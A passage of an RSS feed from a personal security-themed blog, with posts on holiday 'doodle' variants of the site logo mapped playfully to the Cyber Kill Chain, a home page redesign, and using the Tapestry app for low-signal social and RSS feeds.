&lt;blockquote&gt;
  &lt;p&gt;Nice website by the way. Just took a look at it. Sick desk setup haha&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Tue, 18 Feb 2025 09:51:00 -0500</pubDate>
        <link>https://shellsharks.com/kindness</link>
        <guid isPermaLink="true">https://shellsharks.com/kindness</guid>
        
        <category>life</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>Shellsharks Doodles</title>
        <shark:summary><p>Similar to the <a href="https://doodles.google/">Google Doodles</a>, my site has its <strong>Shellsharks Doodles</strong>. They are celebrations of various events and holidays throughout the year, each designed by me using the <a href="https://apps.apple.com/us/app/vector-svg-maker-assembly/id1024210402">Assembly</a> app. Some of the doodles are merely thematic additions to the plain shellsharks logo, while others completely re-visualize the <a href="https://shellsharks.com/shellsharks-logo#shellsharks-logo-symbology">symbology</a> throughout. These doodles go up and replace the classic doodle at the appropriate times throughout the year.</p>
</shark:summary>
        <description>&lt;p&gt;Similar to the &lt;a href=&quot;https://doodles.google&quot;&gt;Google Doodles&lt;/a&gt;, my site has its &lt;strong&gt;Shellsharks Doodles&lt;/strong&gt;. They are celebrations of various events and holidays throughout the year, each designed by me using the &lt;a href=&quot;https://apps.apple.com/us/app/vector-svg-maker-assembly/id1024210402&quot;&gt;Assembly&lt;/a&gt; app. Some of the doodles are merely thematic additions to the plain shellsharks logo, while others completely re-visualize the &lt;a href=&quot;https://shellsharks.com/shellsharks-logo#shellsharks-logo-symbology&quot;&gt;symbology&lt;/a&gt; throughout. These doodles go up and replace the classic doodle at the appropriate times throughout the year.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Why did I design these?&lt;/em&gt; Just for fun I guess. &lt;em&gt;Why these particular events/holidays?&lt;/em&gt; &lt;em&gt;Well&lt;/em&gt;, I did what I could with the limited icon sets that were available within the Assembly app at the time. &lt;em&gt;Will I make more doodles?&lt;/em&gt; I hadn’t thought about it for a while, but I can definitely see myself doing more in the future.&lt;/p&gt;

&lt;style&gt;
  .item {
    background-color: var(--background-color);
    padding: 20px;
    border-radius: 20px;
  }
  .contain {
      display: grid;
      grid-template-columns: auto auto;
      row-gap:20px;
      column-gap:20px;
      background-color: color-mix(in srgb, var(--accent-color) 12%, var(--background-color));
      padding: 20px;
      border-radius: 15px;
  }
  .twox {
    grid-column-start:1;
    grid-column-end:3;
  }
  img {
    margin-top:40px;
  }
  @media only screen and (max-width: 768px) { /* mobile-lg */
    .contain {
      display: block;
    }
    .contain &gt; div {
      margin-bottom:20px;
    }
  }
&lt;/style&gt;

&lt;hr /&gt;

&lt;div class=&quot;contain&quot;&gt;
  &lt;div class=&quot;item&quot;&gt;
    The &lt;b&gt;classic&lt;/b&gt; logo. Read more about it &lt;a href=&quot;https://shellsharks.com/shellsharks-logo#shellsharks-logo-symbology&quot;&gt;here&lt;/a&gt;.
    &lt;img src=&quot;/assets/img/avatar.png&quot; /&gt;
  &lt;/div&gt;

  &lt;div class=&quot;item&quot;&gt;
    The &lt;b&gt;New Years&lt;/b&gt; logo, basically the same as the classic logo, but with lotsa fireworks, some bottles poppin&apos;, a sign with the &lt;i&gt;new&lt;/i&gt; year on it, and some fancy sharks with bowties. 🦈 ⋈ 😄.
    &lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/logos/avatar-newyears.png&quot; /&gt;
  &lt;/div&gt;

  &lt;div class=&quot;item&quot;&gt;
    The &lt;b&gt;Valentines Day&lt;/b&gt; logo is also just the classic logo with a bunch of hearts and flowers added in various places. There are some &quot;easter eggs&quot; and li&apos;l bonus things though. The &lt;a href=&quot;https://shellsharks.com/shellsharks-logo#weaponization&quot;&gt;weaponization&lt;/a&gt; circle has a &quot;&lt;i&gt;love potion&lt;/i&gt;&quot; in the middle. For some reason I&apos;ve put a planet that kinda looks like Venus (the roman goddess of love) in there (with the number &apos;2&apos; next to it as Venus is the second planet from the sun). I also pay homage to the classic &lt;a href=&quot;https://en.wikipedia.org/wiki/ILOVEYOU&quot;&gt;ILOVEYOU&lt;/a&gt; virus in the &lt;a href=&quot;https://shellsharks.com/shellsharks-logo#exploitation&quot;&gt;exploitation&lt;/a&gt; and &lt;a href=&quot;https://shellsharks.com/shellsharks-logo#installation&quot;&gt;installation&lt;/a&gt; phases. Also looks like I changed the binary message around the outside of the logo, but honestly don&apos;t remember what it&apos;s supposed to say. A challenge for someone out there perhaps? 🧡
    &lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/logos/avatar-valentines.png&quot; /&gt;
  &lt;/div&gt;

  &lt;div class=&quot;item&quot;&gt;
    Here&apos;s a funny one, &lt;b&gt;&lt;a href=&quot;https://nationaltoday.com/world-circus-day&quot;&gt;World Circus Day&lt;/a&gt;&lt;/b&gt;. Here things have gotten completely wacky, but you should appreciate that each of the inner circles still attempt to symbolize &lt;a href=&quot;https://shellsharks.com/shellsharks-logo#the-cyber-kill-chain&quot;&gt;The Cyber Kill Chain&lt;/a&gt;. You&apos;ve gotta use your imagination of course, but I&apos;m sure you can kinda see what I was goin&apos; for across each of the kill-chain steps. Notably we&apos;ve got a cannon as the &lt;a href=&quot;https://shellsharks.com/shellsharks-logo#delivery&quot;&gt;delivery&lt;/a&gt; mechanism and a &quot;magician&quot; pulling a rabbit out of a &quot;hat&quot; as the &lt;a href=&quot;https://shellsharks.com/shellsharks-logo#exploitation&quot;&gt;exploitation&lt;/a&gt; phase. There&apos;s also a &lt;i&gt;Golden Ticket&lt;/i&gt; - wanna guess what that might be referencing? Everything else is, as you can plainly see, &lt;i&gt;very&lt;/i&gt; circus-ey. &lt;i&gt;Oh&lt;/i&gt;, and I&apos;ve got swingin&apos; monkey in there for good measure. 🎪 🙈
    &lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/logos/avatar-circus.png&quot; /&gt;
  &lt;/div&gt;

  &lt;div class=&quot;item&quot;&gt;
    The &lt;b&gt;Earth Day&lt;/b&gt; logo is a favorite of mine. It&apos;s again, just the classic logo, but with &lt;i&gt;a lot&lt;/i&gt; of &lt;i&gt;earth-ey&lt;/i&gt; stuff all over the place. Plants just growin&apos; out from everything. My favorite part of this logo has got to be the great tree growing on the outside of the logo itself. 🌎
    &lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/logos/avatar-earthday.png&quot; /&gt;
  &lt;/div&gt;

  &lt;div class=&quot;item&quot;&gt;
    The &lt;b&gt;Columbus Day&lt;/b&gt; logo is honestly one I haven&apos;t really used, but &lt;i&gt;technically&lt;/i&gt; have around. Given the general &lt;a href=&quot;https://www.history.com/news/columbus-day-controversy&quot;&gt;controversy&lt;/a&gt; surrounding Columbus, and the holiday, it&apos;ll probably remain dormant. It&apos;s nothing but a few boats anyway.
    &lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/logos/avatar-columbus.png&quot; /&gt;
  &lt;/div&gt;

  &lt;div class=&quot;item&quot;&gt;
    The &lt;b&gt;Halloween&lt;/b&gt; logo is another very intricate, thematic design. Each smaller circle on the interior of the logo has been re-made in a &lt;i&gt;spooky&lt;/i&gt; fashion. We&apos;ve got zombies screaming &quot;&lt;i&gt;BRAINS~!!!&lt;/i&gt;&quot;, witches flyin&apos; every which way and plenty of ghouls and ghosties. But the best part? The &lt;i&gt;scariest&lt;/i&gt; part? Is all the &lt;a href=&quot;https://shellsharks.com/designer-vulnerabilities&quot;&gt;named vulns&lt;/a&gt; and their respective CVEs I&apos;ve referenced in the &lt;a href=&quot;https://shellsharks.com/shellsharks-logo#exploitation&quot;&gt;exploitation&lt;/a&gt; and &lt;a href=&quot;https://shellsharks.com/shellsharks-logo#installation&quot;&gt;installation&lt;/a&gt; phases. &lt;i&gt;Even better&lt;/i&gt;? Each of those named vulns are ones that have kinda spooky names too, e.g. &quot;&lt;i&gt;Cable Haunt&lt;/i&gt;&quot;, &quot;&lt;i&gt;ZombieLoad&lt;/i&gt;&quot;, &quot;&lt;i&gt;Stagefright&lt;/i&gt;&quot;, &quot;&lt;i&gt;Spectre&lt;/i&gt;&quot;, to name a few. There&apos;s a lot more in there too! Turns out vuln researchers like scary-sounding vuln names. 👻
    &lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/logos/avatar-halloween.png&quot; /&gt;
  &lt;/div&gt;
  
  &lt;div class=&quot;item&quot;&gt;
    Last, but certainly not least, is the &lt;b&gt;Christmas&lt;/b&gt; doodle. It&apos;s easily the one I&apos;m the most proud of. I think I really nailed the &lt;i&gt;Christmas-to-Kill-Chain&lt;/i&gt; symbology throughout, following &lt;a href=&quot;https://shellsharks.com/santa-ttps&quot;&gt;Santa&apos;s&lt;/a&gt; journey to put presents under your tree. 🎅 🎁 🎄&lt;br /&gt;&lt;br /&gt;

    &lt;ol&gt;
      &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/shellsharks-logo#&quot;&gt;Reconnaissance&lt;/a&gt;: First, Santa performs recon, reviewing his famed &lt;i&gt;Naughty &amp;amp; Nice&lt;/i&gt; list.&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/shellsharks-logo#&quot;&gt;Weaponization&lt;/a&gt;: Only so much I can do visually with &quot;exploitation&quot;, so here you get an assortment of random xmas-&lt;i&gt;stuff&lt;/i&gt; and a particularly evil looking snowman.&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/shellsharks-logo#&quot;&gt;Delivery&lt;/a&gt;: The sleigh is loaded, and 8 tiny reindeer are ready to mount to the sky! Rudolph has even made his appearance.&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/shellsharks-logo#&quot;&gt;Exploitation&lt;/a&gt;: The chimney is Santa&apos;s favored exploitation vector.&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/shellsharks-logo#&quot;&gt;Installation&lt;/a&gt;: The gifts are then &quot;&lt;i&gt;installed&lt;/i&gt;&quot;.&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/shellsharks-logo#&quot;&gt;C2&lt;/a&gt;: A new reindeer appears - &lt;i&gt;On HAXXEN!!&lt;/i&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/shellsharks-logo#&quot;&gt;Actions on Objectives&lt;/a&gt;: Finally, Santa has delivered the presents, and he makes off with his favorite snack - a &lt;i&gt;session&lt;/i&gt;-cookie!&lt;/li&gt;
    &lt;/ol&gt;

    &lt;i&gt;Merry Haxmas to All and to All a Good Night!!&lt;/i&gt;

    &lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/logos/avatar-christmas.png&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;
</description>
        <pubDate>Tue, 18 Feb 2025 00:29:00 -0500</pubDate>
        <link>https://shellsharks.com/shellsharks-doodles</link>
        <guid isPermaLink="true">https://shellsharks.com/shellsharks-doodles</guid>
        
        <category>life</category>
        
        <category>shellsharks</category>
        
        <category>whimsy</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>What&apos;s A Home Page?</title>
        <shark:summary><p>Every website you go to has a <strong>home page</strong>, the page you land on when you go to that site’s root domain, i.e. for <span class="shellsharks-com">Shellsharks</span>, when you go to “<em><a href="https://shellsharks.com/">https://shellsharks.com</a></em>”. <a href="https://shellsharks.com/notes/2024/02/15/shellsharks-a-visual-history#shellsharks-20-early-2021">Since 2021</a> my home page has had a very <em>simple</em> design - the <a href="https://shellsharks.com/shellsharks-logo">logo</a>, some link icons and the classic list of recent posts. In <a href="https://shellsharks.com/notes/2024/02/15/shellsharks-a-visual-history#shellsharks-30-january-2024">January of 2024</a> I simplified it even further, rearranging some graphics and removing the icons, filing them away in the site’s <a href="https://shellsharks.com/notes/2023/07/19/hello-hamburger-menu">hamburger menu</a>. More recently (<em>~Februrary 2025</em>), I got the itch to start <a href="https://shellsharks.com/notes/2025/01/28/tinkering-with-the-site-again">tinkering with the site</a> again and made a few further visual changes to the home page, <a href="https://shellsharks.com/notes/2025/01/29/publish-with-pride#title">opening up the feed</a> to all content I write, not just <a href="https://shellsharks.com/blogs">posts</a>, and adding some <a href="https://phosphoricons.com/">icons</a> to differentiate the <a href="https://shellsharks.com/multiplicity-of-writing">different content types</a>.</p>
</shark:summary>
        <description>&lt;p&gt;Every website you go to has a &lt;strong&gt;home page&lt;/strong&gt;, the page you land on when you go to that site’s root domain, i.e. for &lt;span class=&quot;shellsharks-com&quot;&gt;Shellsharks&lt;/span&gt;, when you go to “&lt;em&gt;&lt;a href=&quot;https://shellsharks.com/&quot;&gt;https://shellsharks.com&lt;/a&gt;&lt;/em&gt;”. &lt;a href=&quot;https://shellsharks.com/notes/2024/02/15/shellsharks-a-visual-history#shellsharks-20-early-2021&quot;&gt;Since 2021&lt;/a&gt; my home page has had a very &lt;em&gt;simple&lt;/em&gt; design - the &lt;a href=&quot;https://shellsharks.com/shellsharks-logo&quot;&gt;logo&lt;/a&gt;, some link icons and the classic list of recent posts. In &lt;a href=&quot;https://shellsharks.com/notes/2024/02/15/shellsharks-a-visual-history#shellsharks-30-january-2024&quot;&gt;January of 2024&lt;/a&gt; I simplified it even further, rearranging some graphics and removing the icons, filing them away in the site’s &lt;a href=&quot;https://shellsharks.com/notes/2023/07/19/hello-hamburger-menu&quot;&gt;hamburger menu&lt;/a&gt;. More recently (&lt;em&gt;~Februrary 2025&lt;/em&gt;), I got the itch to start &lt;a href=&quot;https://shellsharks.com/notes/2025/01/28/tinkering-with-the-site-again&quot;&gt;tinkering with the site&lt;/a&gt; again and made a few further visual changes to the home page, &lt;a href=&quot;https://shellsharks.com/notes/2025/01/29/publish-with-pride#title&quot;&gt;opening up the feed&lt;/a&gt; to all content I write, not just &lt;a href=&quot;https://shellsharks.com/blogs&quot;&gt;posts&lt;/a&gt;, and adding some &lt;a href=&quot;https://phosphoricons.com&quot;&gt;icons&lt;/a&gt; to differentiate the &lt;a href=&quot;https://shellsharks.com/multiplicity-of-writing&quot;&gt;different content types&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/final-class-feed.png&quot; alt=&quot;Home Page Classic Final&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;But&lt;/em&gt;, it still just wasn’t what I was looking for. I knew I wanted something else, but wasn’t sure what that something else is. So I went looking for inspiration. I found that in two of my &lt;a href=&quot;https://shellsharks.com/blogroll&quot;&gt;favorite sites&lt;/a&gt;, &lt;strong&gt;&lt;a href=&quot;https://www.coryd.dev&quot;&gt;Cory Dransfeldt&lt;/a&gt;&lt;/strong&gt; &amp;amp; &lt;strong&gt;&lt;a href=&quot;https://flamedfury.com&quot;&gt;Flamed Fury&lt;/a&gt;&lt;/strong&gt;. &lt;span style=&quot;background-color: light-dark(#3364ff,#6b9eff); border-radius: 0.25rem; color: light-dark(#f9fafb,#14161a); padding-right: 0.25rem; padding-left: 0.25rem;&quot;&gt;Cory’s design&lt;/span&gt; has both a simplicity and cleanness to it, but also neatly showcases what he’s got goin’ on across the site. I &lt;em&gt;really&lt;/em&gt; enjoy his use of color as well. &lt;span style=&quot;background:linear-gradient(45deg, rgb(202,89,53), rgb(238,137,71)); color:transparent;background-clip:text; -webkit-background-clip: text;&quot;&gt;fLaMEd&lt;/span&gt; has an incredible home page &lt;em&gt;splash&lt;/em&gt; graphic and an amazingly curated collection of &lt;em&gt;stuff&lt;/em&gt;, made available right there on the home page. So I took some of their ideas, and &lt;em&gt;shellsharks-ified&lt;/em&gt; them, incorporating those ideas into what is (&lt;em&gt;for now&lt;/em&gt;) my new home page, &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/&quot;&gt;behold&lt;/a&gt;&lt;/strong&gt;!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/new-home-page.png&quot; alt=&quot;New Home Page&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As I was building the new home page (&lt;em&gt;and as I continue to do so&lt;/em&gt;), I’ve asked myself, “&lt;em&gt;what is a home page?&lt;/em&gt;” What is it meant to do? What should it look like? What &lt;em&gt;feeling&lt;/em&gt; do I want people to have when they go there? Where do I want them to go once they’re on my site? What do I want them to read? What’s important to me or to my readers? How do &lt;em&gt;I&lt;/em&gt; want to use my site? The home page is a collection of &lt;em&gt;opportunities&lt;/em&gt; and doors. My old home page was simple yes, and that was visually striking in a way that I’ve always enjoyed, but it didn’t &lt;em&gt;tell&lt;/em&gt; you much, and what it did show you, was pretty limited - just a list of &lt;em&gt;stuff&lt;/em&gt; I had published recently. There was no &lt;a href=&quot;https://shellsharks.com/story&quot;&gt;story&lt;/a&gt;, and it effectively &lt;em&gt;hid&lt;/em&gt; a lot of the other things on my site that you, the reader, might be interested in, stuff I am &lt;strong&gt;proud&lt;/strong&gt; of. So the idea behind the redesign was to surface these things, &lt;a href=&quot;https://shellsharks.com/about&quot;&gt;introduce&lt;/a&gt; you to my site, showcase what I’ve done &lt;a href=&quot;https://shellsharks.com/activity&quot;&gt;recently&lt;/a&gt; &lt;em&gt;and&lt;/em&gt; what I think you might &lt;a href=&quot;https://shellsharks.com/tags?tag=bestof#info&quot;&gt;want to see&lt;/a&gt;. I have a lot to offer, and have put in a lot of work, but only the real &lt;em&gt;shellsharks spelunkers&lt;/em&gt; could have ever found it, digging around through the cavernous hamburger menu and web of hyperlinks throughout the site.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;It’s a work in progress&lt;/em&gt;, my site always is, &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt; sites just tend to be. That’s what’s fun! What’s great about this particular &lt;em&gt;modular&lt;/em&gt; design is that I’m able to add new things, showcase &lt;em&gt;more&lt;/em&gt; stuff when I feel like it. One big downside to the classic design (&lt;a href=&quot;https://shellsharks.com/notes/2024/02/15/shellsharks-a-visual-history#shellsharks-20-early-2021&quot;&gt;circa 2021&lt;/a&gt;) was that I never featured anything but my formal “&lt;a href=&quot;https://shellsharks.com/blogs&quot;&gt;blog posts&lt;/a&gt;”. I talk about why I didn’t like that &lt;a href=&quot;https://shellsharks.com/notes/2025/01/29/publish-with-pride#title&quot;&gt;here&lt;/a&gt;. So I opened up the feed to &lt;em&gt;everything&lt;/em&gt;, which introduced a new issue. Now, my best content was at risk of being buried in a way that I felt was a disservice. For example, I have a new &lt;a href=&quot;https://shellsharks.com/linklog&quot;&gt;Link Log&lt;/a&gt; where I share cool sites/blogs that I find, and I added those links to that &lt;a href=&quot;https://shellsharks.com/home/feed&quot;&gt;home feed&lt;/a&gt;. But, I wasn’t incentivized to share a lot of links, because then my home page feed would’ve been overrun with just links to other people’s stuff (&lt;em&gt;cool as that stuff may be&lt;/em&gt;), effectively watering down my site to a degree and de-emphasizing all the other stuff on my site. The new design allows me to share as many links as I want, without overshadowing everything else. &lt;em&gt;Awesome&lt;/em&gt;!&lt;/p&gt;

&lt;p&gt;So yeah, the new home page is &lt;a href=&quot;https://shellsharks.com/&quot;&gt;live&lt;/a&gt;, and I think it’s great. I’d love to hear about &lt;em&gt;your&lt;/em&gt; home page, or home pages of sites that you love (&lt;em&gt;so I can get more inspo&lt;/em&gt;), or thoughts that you have about &lt;em&gt;my&lt;/em&gt; new home page, &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;hit me up&lt;/a&gt; anytime!&lt;/p&gt;

&lt;p&gt;(Also, I’ve kept my classic home page available as the “&lt;a href=&quot;https://shellsharks.com/home/feed&quot;&gt;home feed&lt;/a&gt;”.)&lt;/p&gt;
</description>
        <pubDate>Thu, 13 Feb 2025 09:03:00 -0500</pubDate>
        <link>https://shellsharks.com/whats-a-home-page</link>
        <guid isPermaLink="true">https://shellsharks.com/whats-a-home-page</guid>
        
        <category>technology</category>
        
        <category>indieweb</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Tapestry Has Found its Place</title>
        <shark:summary><p>A few days ago I confidently stated that “<em><a href="https://shellsharks.com/unified-timelines-are-not-for-me">unified timelines are not for me</a></em>”, but I think I may have been <em>a bit too hasty</em> in that declaration. I’ve been tinkering around with <a href="https://usetapestry.com/">Tapestry</a> for a few days now, trying to find a way to fit it into my <a href="https://shellsharks.com/notes/2023/11/06/keeping-current-in-infosec">daily feed ingestion</a> workflow and I <em>think</em> I’m starting to discover its niche for me. This doesn’t really change what I said in that previous post, Tapestry is <em>not</em> a good (main) <a href="https://shellsharks.com/an-ode-to-rss">RSS</a> reader, especially (again) when you weave together RSS feeds and social timelines (for the reasons I state in the article). Secondarily, Tapestry isn’t a great RSS reader (right now) as it struggles mightily when faced with simultaneously updating 100’s of disparate feeds, which my current RSS app (<a href="https://reederapp.com/classic/">Reeder</a>) does without breaking a sweat. In time, that performance issue may improve, but the former issue won’t. But let’s not dwell on what I <em>don’t</em> use Tapestry for, let’s instead talk about what I think it can be <em>good</em> at, and what I’ve started using it for over the past couple days.</p>
</shark:summary>
        <description>&lt;p&gt;A few days ago I confidently stated that “&lt;em&gt;&lt;a href=&quot;https://shellsharks.com/unified-timelines-are-not-for-me&quot;&gt;unified timelines are not for me&lt;/a&gt;&lt;/em&gt;”, but I think I may have been &lt;em&gt;a bit too hasty&lt;/em&gt; in that declaration. I’ve been tinkering around with &lt;a href=&quot;https://usetapestry.com&quot;&gt;Tapestry&lt;/a&gt; for a few days now, trying to find a way to fit it into my &lt;a href=&quot;https://shellsharks.com/notes/2023/11/06/keeping-current-in-infosec&quot;&gt;daily feed ingestion&lt;/a&gt; workflow and I &lt;em&gt;think&lt;/em&gt; I’m starting to discover its niche for me. This doesn’t really change what I said in that previous post, Tapestry is &lt;em&gt;not&lt;/em&gt; a good (main) &lt;a href=&quot;https://shellsharks.com/an-ode-to-rss&quot;&gt;RSS&lt;/a&gt; reader, especially (again) when you weave together RSS feeds and social timelines (for the reasons I state in the article). Secondarily, Tapestry isn’t a great RSS reader (right now) as it struggles mightily when faced with simultaneously updating 100’s of disparate feeds, which my current RSS app (&lt;a href=&quot;https://reederapp.com/classic/&quot;&gt;Reeder&lt;/a&gt;) does without breaking a sweat. In time, that performance issue may improve, but the former issue won’t. But let’s not dwell on what I &lt;em&gt;don’t&lt;/em&gt; use Tapestry for, let’s instead talk about what I think it can be &lt;em&gt;good&lt;/em&gt; at, and what I’ve started using it for over the past couple days.&lt;/p&gt;

&lt;p&gt;I spent a long while yammering on about signal-to-noise ratio and &lt;em&gt;fidelity&lt;/em&gt; as it relates to my “feeds” &lt;a href=&quot;https://shellsharks.com/unified-timelines-are-not-for-me&quot;&gt;last time I wrote about unified timelines&lt;/a&gt;. There, I made the case for why mushing together my RSS feeds with (as an example) a social feed didn’t make sense, and I stand by that. I want to keep my RSS feeds in an RSS app, because they are the “highest-fidelity” feed and shouldn’t be paired with mid or low-fidelity-type feeds. Similarly. my Mastodon/Fediverse feeds need to be kept in their own app. But what about everything else? Here’s where Tapestry has found it’s niche for me.&lt;/p&gt;

&lt;p&gt;You see when it comes to RSS, I scroll through &amp;amp; consider &lt;em&gt;every&lt;/em&gt; post in that feed. It is highly curated afterall and there’s a decent likelihood im interested in anything/everything that shows up there. For my Fedi feeds, they are also highly curated, but more prone to … let’s call it “silliness”, so I tend to scroll a bit faster through that feed and don’t necessarily stop to really read and consider each post. After that what is there? There are a collection of “feeds” that I will, only look at occasionally, are high volume / low signal-to-noise, or are *“discovery-oriented”, in which I mean things I peruse to discover &lt;strong&gt;new&lt;/strong&gt; stuff that might be of interest to me. This is the third degree of fidelity, and for those odd collection of feeds, Tapestry is actually quite a nice vehicle to consume them.&lt;/p&gt;

&lt;h6 id=&quot;feed-fidelity-continuum&quot;&gt;Feed Fidelity Continuum&lt;/h6&gt;

&lt;ul&gt;
  &lt;li&gt;Tier 1: &lt;strong&gt;RSS&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Tier 2: &lt;strong&gt;Mastodon&lt;/strong&gt; / &lt;strong&gt;Fediverse&lt;/strong&gt; (&lt;em&gt;non-algorithmic social feeds&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;Tier 3: &lt;strong&gt;Other&lt;/strong&gt; (e.g. Bluesky, Reddit, &lt;em&gt;Discovery&lt;/em&gt; RSS*, Lemmy/Thrediverse, etc…)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s talk about what makes Tapestry a great reader/timeline app for these ‘&lt;em&gt;low-fidelity&lt;/em&gt;’ (Tier 3) feeds.&lt;/p&gt;

&lt;p&gt;First, (before talking about the things Tapestry is great at) I want to reiterate that in my usage of Tapestry, it really struggled to import and then consistently refresh a large volume of RSS feeds. At first, I tried to import close to 2500 feeds into Tapestry and it simply would not do it. After that, I pared down the list and finally got about 500 feeds imported. The app would skitter and completely time out trying to refresh all those feeds. Contrast that with my Reeder app, purpose-built for RSS, which can ingest and handle 1000’s of feeds with no issue. So, &lt;strong&gt;if you have a high volume of RSS feeds, Tapesty isn’t for you&lt;/strong&gt; &lt;em&gt;right now&lt;/em&gt;, especially as a pure RSS app (not considering the issues I &lt;a href=&quot;https://shellsharks.com/unified-timelines-are-not-for-me&quot;&gt;talked about before&lt;/a&gt; in terms of unifying RSS and other types of feeds.)&lt;/p&gt;

&lt;p&gt;For &lt;em&gt;social feeds&lt;/em&gt;, especially those that you want to actually &lt;em&gt;engage&lt;/em&gt; with, Tapestry also isn’t ideal, as you completely lose all those capabilities to natively like/heart, reply, boost/repost, etc… You need to bounce out of the Tapestry app into the respective app/client for that social platform to do those things. &lt;em&gt;But&lt;/em&gt;! What if you had a social feed that you wanted to follow, but &lt;em&gt;wasn’t&lt;/em&gt; something you engaged with frequently. &lt;em&gt;Then&lt;/em&gt;, Tapestry might work pretty well for that. This is the case for me with Bluesky. I have a &lt;a href=&quot;https://bsky.app/profile/shellsharks.com&quot;&gt;Bluesky account&lt;/a&gt;, and I follow some folks there that do not have presences elsewhere. Because I want to see what they have to say, &lt;em&gt;and&lt;/em&gt; I want to limit the amount of time I spend “engaging” there, Tapestry is a great place for me to &lt;em&gt;mostly-read-only-mode&lt;/em&gt; my Bluesky feed. On the rare occasion I see something I &lt;em&gt;really&lt;/em&gt; want to interact with on Bluesky, it’s easy enough to bounce out and do that. This is equally true for pretty much all the feeds I have loaded into Tapestry, it is entirely made up of things that I might want to &lt;strong&gt;quickly peruse, but probably won’t want to engage with&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Scrolling through gobs of stuff that &lt;em&gt;might&lt;/em&gt; include something I’m interested in can be, at times, not the most enjoyable or worthwile scroll. &lt;em&gt;But&lt;/em&gt;, &lt;strong&gt;Tapestry softens the blow because the app is gorgeous&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/tapestry2.PNG&quot; width=&quot;300px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Looking back at my &lt;a href=&quot;#feed-fidelity-continuum&quot;&gt;fidelity tiers&lt;/a&gt;, you’ve got RSS at &lt;em&gt;1&lt;/em&gt;, Fedi at &lt;em&gt;2&lt;/em&gt;, and &lt;em&gt;everything else&lt;/em&gt; at &lt;em&gt;3&lt;/em&gt;. From a client perspective, this makes tier &lt;em&gt;1&lt;/em&gt; and tier &lt;em&gt;2&lt;/em&gt; pretty simple/obvious. You have an RSS app for &lt;em&gt;1&lt;/em&gt; and a Fedi client (that supports more than just Mastodon) for &lt;em&gt;2&lt;/em&gt;. But for the third tier, “Other”, you need something that can natively ingest a wide variety of feeds, some of which may be kinda &lt;em&gt;niche&lt;/em&gt;. Tapestry is not only built to do this out-of-the-box (as it is a unified timeline app), but it also ships with a powerful, extendable, &lt;strong&gt;connectors&lt;/strong&gt; system by which you can &lt;strong&gt;load in (or develop your own) third-party connectors&lt;/strong&gt;. This will make browsing feeds from all over the place uniquely possible.&lt;/p&gt;

&lt;p&gt;In this story, Tapestry is being used to ingest, weave-together and view a wide variety of eclectic feeds, all of which are “lower signal-to-noise”. This could mean the timeline balloons beyond what you may feel like scrolling through on any given day. To help handle the firehose, &lt;strong&gt;Tapestry also ships with a powerful set of features for muffling, muting and building custom timelines&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;So&lt;/em&gt;, that’s how I’ve been using Tapestry. It looks great, performs well for what I am now using it for and has even earned a coveted spot on my phone home screen. I’ve also seen a number of connectors being shared by the community too to further extend its capabilities which is awesome! Let me know what you think though! Especially for those of you who agreed with my &lt;a href=&quot;https://shellsharks.com/unified-timelines-are-not-for-me&quot;&gt;original assessment&lt;/a&gt;. Do you think Tapestry (or other unified timeline apps) could have a place in your workflow? Or are you a normal person and don’t feel the need to keep up with every feed that’s of even mild interest to you?&lt;/p&gt;
</description>
        <pubDate>Mon, 10 Feb 2025 14:56:00 -0500</pubDate>
        <link>https://shellsharks.com/tapestry-has-found-its-place</link>
        <guid isPermaLink="true">https://shellsharks.com/tapestry-has-found-its-place</guid>
        
        <category>technology</category>
        
        <category>socialweb</category>
        
        <category>fediverse</category>
        
        <category>bluesky</category>
        
        <category>app</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>What To Add To Your Site First</title>
        <shark:summary><p>You got yourself a domain, you found a place to host your site, it’s up and running! <strong>Now what?</strong>
<br /><br />
